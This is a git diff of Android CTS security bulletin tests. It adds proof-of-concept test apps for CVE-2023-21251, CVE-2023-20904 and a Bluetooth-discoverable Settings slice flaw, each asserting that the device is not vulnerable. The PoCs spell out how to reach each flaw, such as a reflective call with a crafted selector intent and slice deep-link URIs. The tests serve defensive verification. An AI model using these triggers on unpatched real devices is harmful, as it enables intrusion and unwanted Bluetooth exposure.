diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/src/android/security/cts/CVE_2023_21251/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/src/android/security/cts/CVE_2023_21251/DeviceTest.java
new file mode 100644
index 0000000..5a8725b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/src/android/security/cts/CVE_2023_21251/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21251;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.internal.net.VpnConfig.DIALOGS_PACKAGE;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testPocCVE_2023_21251() {
+ try {
+ Instrumentation instrumentation = getInstrumentation();
+ Context context = instrumentation.getTargetContext();
+
+ // Registering a broadcast receiver to wait for PocActivity to start
+ Semaphore broadcastReceived = new Semaphore(0);
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ broadcastReceived.release();
+ } catch (Exception ignore) {
+ // ignore
+ }
+ }
+ };
+ IntentFilter broadcastFilter =
+ new IntentFilter(context.getString(R.string.broadcastAction));
+ context.registerReceiver(broadcastReceiver, broadcastFilter);
+
+ // Start and wait for PocActivity to be launched
+ Intent intent =
+ new Intent(context, PocActivity.class).setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ final int timeout = 10000;
+ assumeTrue(
+ context.getString(R.string.activityNotStarted),
+ broadcastReceived.tryAcquire(timeout, TimeUnit.MILLISECONDS));
+
+ // Wait for the ConfirmDialog window to be launched
+ final UiDevice uiDevice = UiDevice.getInstance(instrumentation);
+ UiObject2 uiObject =
+ uiDevice.wait(Until.findObject(By.pkg(DIALOGS_PACKAGE)
+ .res(DIALOGS_PACKAGE, context.getString(R.string.resId))),
+ timeout);
+ assumeNotNull(context.getString(R.string.confirmDialogNotAppeared), uiObject);
+
+ // With fix, uiobject's text field contains html syntax.
+ final String lineSeparator = System.lineSeparator();
+ final String decodedHtml =
+ context.getString(R.string.bugIdDecoded, lineSeparator, lineSeparator);
+ assertFalse(
+ context.getString(R.string.failMessage),
+ uiObject.getText().contains(decodedHtml));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/src/android/security/cts/CVE_2023_21251/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/src/android/security/cts/CVE_2023_21251/PocActivity.java
new file mode 100644
index 0000000..90d2257
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/src/android/security/cts/CVE_2023_21251/PocActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21251;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+
+ // Launch ConfirmDialog
+ Intent intent = new PocVpnService().prepare(this);
+ startActivityForResult(intent, 0 /* requestCode */);
+
+ // Send broadcast to DeviceTest to detect vulnerability
+ sendBroadcast(new Intent(getString(R.string.broadcastAction)));
+ } catch (Exception e) {
+ // Ignore
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/src/android/security/cts/CVE_2023_21251/PocVpnService.java
similarity index 75%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-21251/src/android/security/cts/CVE_2023_21251/PocVpnService.java
index 1a335c7..4d8a103 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/src/android/security/cts/CVE_2023_21251/PocVpnService.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2023_21251;
-import android.app.Activity;
+import android.net.VpnService;
-public class PocActivity extends Activity {
+public class PocVpnService extends VpnService {
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/Android.bp
similarity index 89%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE_2023_20904/Android.bp
index 50acd29..18e0331 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/Android.bp
@@ -12,7 +12,6 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
package {
@@ -20,18 +19,19 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE_2023_20904",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/AndroidManifest.xml
new file mode 100644
index 0000000..b3575f5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/AndroidManifest.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20904">
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_20904"/>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/res/values/strings.xml
new file mode 100644
index 0000000..1165e90
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/res/values/strings.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");!
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="defaultSettingsPkg">com.android.settings</string>
+ <string name="failMessage">Device is vulnerable to b/246300272!</string>
+ <string name="getTrampolineIntent">getTrampolineIntent</string>
+ <string name="selectorIntent">selectorIntent</string>
+ <string name="settingsActivity">.SettingsActivity</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/src/android/security/cts/CVE_2023_20904/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/src/android/security/cts/CVE_2023_20904/DeviceTest.java
new file mode 100644
index 0000000..1f0bc3c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/src/android/security/cts/CVE_2023_20904/DeviceTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20904;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Context mContext;
+
+ private String getSettingsPkgName() {
+ Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+ ComponentName settingsComponent =
+ settingsIntent.resolveActivity(mContext.getPackageManager());
+ String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+ : mContext.getString(R.string.defaultSettingsPkg);
+ return pkgName;
+ }
+
+ @Test
+ public void testgetTrampolineIntent() {
+ try {
+ mContext = getApplicationContext();
+ String settingsPkg = getSettingsPkgName();
+ Context settingsContext = mContext.createPackageContext(settingsPkg,
+ Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
+
+ // Invoking getTrampolineIntent method using reflection
+ ClassLoader settingsClassLoader = settingsContext.getClassLoader();
+ Class<?> SettingsActivityClass = settingsClassLoader
+ .loadClass(settingsPkg + mContext.getString(R.string.settingsActivity));
+ Method getTrampolineIntentMethod = SettingsActivityClass.getDeclaredMethod(
+ mContext.getString(R.string.getTrampolineIntent), Intent.class, String.class);
+ getTrampolineIntentMethod.setAccessible(true);
+ Intent intent = new Intent();
+ intent.setSelector(new Intent(mContext.getString(R.string.selectorIntent)));
+ Intent trampolineIntent = (Intent) getTrampolineIntentMethod.invoke(null, intent, "");
+ Bundle bundle = trampolineIntent.getExtras();
+ assertFalse(mContext.getString(R.string.failMessage),
+ bundle.get(Settings.EXTRA_SETTINGS_EMBEDDED_DEEP_LINK_INTENT_URI).toString()
+ .contains(mContext.getString(R.string.selectorIntent)));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/Android.bp
similarity index 95%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
rename to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/Android.bp
index 09297b2..7e827e4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/Android.bp
@@ -20,7 +20,7 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "TestBluetoothDiscoverable",
defaults: [
"cts_defaults",
],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/AndroidManifest.xml
similarity index 90%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
rename to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/AndroidManifest.xml
index 9242123..9470a64 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.security.cts.CVE_2022_20347">
+ package="android.security.cts.TestBluetoothDiscoverable">
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
@@ -31,5 +31,5 @@
</application>
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.CVE_2022_20347" />
+ android:targetPackage="android.security.cts.TestBluetoothDiscoverable" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/integers.xml
similarity index 100%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml
rename to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/integers.xml
diff --git a/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/strings.xml
new file mode 100644
index 0000000..4821de2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="allowButtonResKey">allow</string>
+ <string name="broadcastAction">testBluetoothDiscoverableBroadcastAction</string>
+ <string name="btAction">btAction</string>
+ <string name="defaultSettingsPkg">com.android.settings</string>
+ <string name="messageKey">message</string>
+ <string name="msgDeviceLocked">Device is in sleep or locked mode</string>
+ <string name="msgFailBluetoothDashboardFragment">Device is vulnerable to b/244423101 !! Possible
+ to make bluetooth discoverable via BluetoothDashboardFragment</string>
+ <string name="msgFailConnectedDeviceDashboardFragment">Device is vulnerable to b/228450811 !!
+ Possible to make bluetooth discoverable via ConnectedDeviceDashboardFragment</string>
+ <string name="resType">string</string>
+ <string name="resultKey">result</string>
+ <string name="sliceBluetoothDashboardUri">
+ settings://%1$s.slices/?slice=content://%2$s/action/bluetooth
+ </string>
+ <string name="sliceConnectedDevicesDashboardUri">
+ settings://%1$s.slices/?slice=content://%1$s.slices/action/bluetooth_devices
+ </string>
+ <string name="sliceDeepLinkSpringBoardClassName">%1$s.slices.SliceDeepLinkSpringBoard</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/DeviceTest.java
new file mode 100644
index 0000000..b893fc4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/DeviceTest.java
@@ -0,0 +1,242 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.TestBluetoothDiscoverable;
+
+import static android.bluetooth.BluetoothAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE;
+import static android.provider.SettingsSlicesContract.AUTHORITY;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Resources;
+import android.net.Uri;
+import android.os.PowerManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static Context sContext;
+ private BluetoothAdapter mBtAdapter;
+ private BroadcastReceiver mBroadcastReceiver;
+ private Instrumentation mInstrumentation;
+ private Resources mResources;
+ private Semaphore mBroadcastReceived;
+ private String mErrorMessage;
+ private UiAutomation mUiAutomation;
+ private UiDevice mDevice;
+ private boolean mBtState;
+ private int mStatusCode;
+
+ @Before
+ public void setUp() {
+ try {
+ mInstrumentation = getInstrumentation();
+ sContext = mInstrumentation.getTargetContext();
+ mBroadcastReceived = new Semaphore(0);
+ mBtState = false;
+ mResources = sContext.getResources();
+ mBtAdapter = BluetoothAdapter.getDefaultAdapter();
+ mStatusCode = mResources.getInteger(R.integer.assumptionFailure);
+ mErrorMessage = "";
+
+ // Register BroadcastReceiver to receive status from PocActivity
+ mBroadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getAction()
+ .equals(mResources.getString(R.string.broadcastAction))) {
+ mStatusCode =
+ intent.getIntExtra(mResources.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ mErrorMessage = intent
+ .getStringExtra(mResources.getString(R.string.messageKey));
+ mBroadcastReceived.release();
+ }
+ } catch (Exception ignored) {
+ // Ignore exceptions here
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(sContext.getString(R.string.broadcastAction));
+ sContext.registerReceiver(mBroadcastReceiver, filter);
+
+ // Save the state of bluetooth adapter to reset after the test
+ mBtState = mBtAdapter.isEnabled();
+
+ // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode
+ if (mBtAdapter.getScanMode() == SCAN_MODE_CONNECTABLE_DISCOVERABLE) {
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+ }
+
+ // Enable bluetooth if in disabled state
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE);
+
+ // 'MODIFY_PHONE_STATE' permission is required to launch target Settings app activity
+ mUiAutomation = mInstrumentation.getUiAutomation();
+ mUiAutomation
+ .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ @After
+ public void tearDown() {
+ try {
+ mUiAutomation.dropShellPermissionIdentity();
+ // Disable bluetooth if it was OFF before the test
+ if (!mBtState) {
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+ }
+ sContext.unregisterReceiver(mBroadcastReceiver);
+ } catch (Exception e) {
+ // Ignore exceptions here
+ }
+ }
+
+ @Test
+ public void testConnectedDeviceDashboardFragment() {
+ try {
+ // Check if device is unlocked
+ PowerManager powerManager = sContext.getSystemService(PowerManager.class);
+ KeyguardManager keyguardManager = sContext.getSystemService(KeyguardManager.class);
+ assumeTrue(sContext.getString(R.string.msgDeviceLocked),
+ powerManager.isInteractive() && !keyguardManager.isKeyguardLocked());
+
+ // Check if bluetooth is enabled. The test requires bluetooth to be enabled
+ assumeTrue(mBtAdapter.isEnabled());
+
+ // Check if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
+ assumeTrue(mBtAdapter.getScanMode() != SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+ // Launch bluetooth settings which is supposed to set scan mode to
+ // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
+ String settingsPkg = getSettingsPkgName();
+ Intent intent = new Intent();
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setData(Uri.parse(
+ sContext.getString(R.string.sliceConnectedDevicesDashboardUri, settingsPkg)));
+ intent.setClassName(settingsPkg,
+ sContext.getString(R.string.sliceDeepLinkSpringBoardClassName, settingsPkg));
+ sContext.startActivity(intent);
+
+ // Wait until target activity from settings package is launched
+ mDevice = UiDevice.getInstance(mInstrumentation);
+ assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
+ mResources.getInteger(R.integer.timeoutMs)));
+
+ // Test fails if bluetooth is made discoverable through PoC
+ boolean isBtDiscoverable =
+ (mBtAdapter.getScanMode() == SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+ assertFalse(sContext.getString(R.string.msgFailConnectedDeviceDashboardFragment),
+ isBtDiscoverable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ @Test
+ public void testBluetoothDashboardFragment() {
+ try {
+ // Check if device is unlocked
+ PowerManager powerManager = sContext.getSystemService(PowerManager.class);
+ KeyguardManager keyguardManager = sContext.getSystemService(KeyguardManager.class);
+ assumeTrue(sContext.getString(R.string.msgDeviceLocked),
+ powerManager.isInteractive() && !keyguardManager.isKeyguardLocked());
+
+ // Check if bluetooth is enabled. The test requires bluetooth to be enabled
+ assumeTrue(mBtAdapter.isEnabled());
+
+ // Check if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
+ assumeTrue(mBtAdapter.getScanMode() != SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+ // Launch bluetooth settings which is supposed to set scan mode to
+ // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
+ String settingsPkg = getSettingsPkgName();
+ Intent intent = new Intent();
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setData(Uri.parse(sContext.getString(R.string.sliceBluetoothDashboardUri,
+ settingsPkg, AUTHORITY)));
+ sContext.startActivity(intent);
+
+ // Wait until target activity from settings package is launched
+ mDevice = UiDevice.getInstance(mInstrumentation);
+ assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
+ mResources.getInteger(R.integer.timeoutMs)));
+
+ // Test fails if bluetooth is made discoverable through PoC
+ boolean isBtDiscoverable =
+ (mBtAdapter.getScanMode() == SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+ assertFalse(sContext.getString(R.string.msgFailBluetoothDashboardFragment),
+ isBtDiscoverable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+
+ public static String getSettingsPkgName() {
+ // Retrieve settings package name dynamically
+ Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+ ComponentName settingsComponent =
+ settingsIntent.resolveActivity(sContext.getPackageManager());
+ String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+ : sContext.getString(R.string.defaultSettingsPkg);
+ return pkgName;
+ }
+
+ private void switchBluetoothMode(String action) throws Exception {
+ // Start PocActivity to switch bluetooth mode
+ Intent intent = new Intent(sContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(sContext.getString(R.string.btAction), action);
+ sContext.startActivity(intent);
+
+ // Wait until bluetooth mode switch is completed successfully
+ assumeTrue(mBroadcastReceived.tryAcquire(mResources.getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS));
+ assumeTrue(mErrorMessage,
+ mStatusCode != mResources.getInteger(R.integer.assumptionFailure));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/PocActivity.java
similarity index 64%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java
rename to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/PocActivity.java
index c81ea20..f1f1f24 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/PocActivity.java
@@ -14,22 +14,25 @@
* limitations under the License.
*/
-package android.security.cts.CVE_2022_20347;
+package android.security.cts.TestBluetoothDiscoverable;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import android.app.Activity;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothManager;
-import android.content.Context;
import android.content.Intent;
-import android.content.SharedPreferences;
+import android.content.res.Resources;
import android.os.Bundle;
-import androidx.test.InstrumentationRegistry;
import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject2;
import androidx.test.uiautomator.Until;
+import java.util.regex.Pattern;
+
public class PocActivity extends Activity {
int getInteger(int resId) {
@@ -41,29 +44,36 @@
super.onCreate(savedInstanceState);
try {
String action = getIntent().getStringExtra(getString(R.string.btAction));
- UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
- BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
int code = getInteger(R.integer.enable);
if (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)) {
code = getInteger(R.integer.disable);
}
+ BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
+ BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
if ((action.equals(BluetoothAdapter.ACTION_REQUEST_ENABLE)
&& !bluetoothAdapter.isEnabled())
|| (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)
&& bluetoothAdapter.isEnabled())) {
Intent btIntent = new Intent(action);
startActivityForResult(btIntent, code);
- // Wait for the activity to appear and the allow button
- uiDevice.wait(Until.hasObject(By.res(getString(R.string.allowButtonResName))),
- getInteger(R.integer.timeoutMs));
- // Click on the allow button
- UiObject2 uiObject =
- uiDevice.findObject(By.res(getString(R.string.allowButtonResName)));
+
+ // Wait for the 'Allow' button
+ String settingsPackageName = DeviceTest.getSettingsPkgName();
+ Resources settingsRes =
+ getPackageManager().getResourcesForApplication(settingsPackageName);
+ int resIdentifier = settingsRes.getIdentifier(getString(R.string.allowButtonResKey),
+ getString(R.string.resType), settingsPackageName);
+ String allowButtonText = settingsRes.getString(resIdentifier);
+ Pattern textPattern = Pattern.compile(allowButtonText, Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(textPattern);
+ UiDevice uiDevice = UiDevice.getInstance(getInstrumentation());
+ uiDevice.wait(Until.hasObject(selector), getInteger(R.integer.timeoutMs));
+
+ // Click on the 'Allow' button to enable bluetooth as required by test
+ UiObject2 uiObject = uiDevice.findObject(selector);
uiObject.click();
} else {
sendTestResult(getInteger(R.integer.success), "");
- finish();
}
} catch (Exception e) {
sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
@@ -74,30 +84,25 @@
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
try {
if (requestCode == getInteger(R.integer.enable) && resultCode == Activity.RESULT_OK) {
- finish();
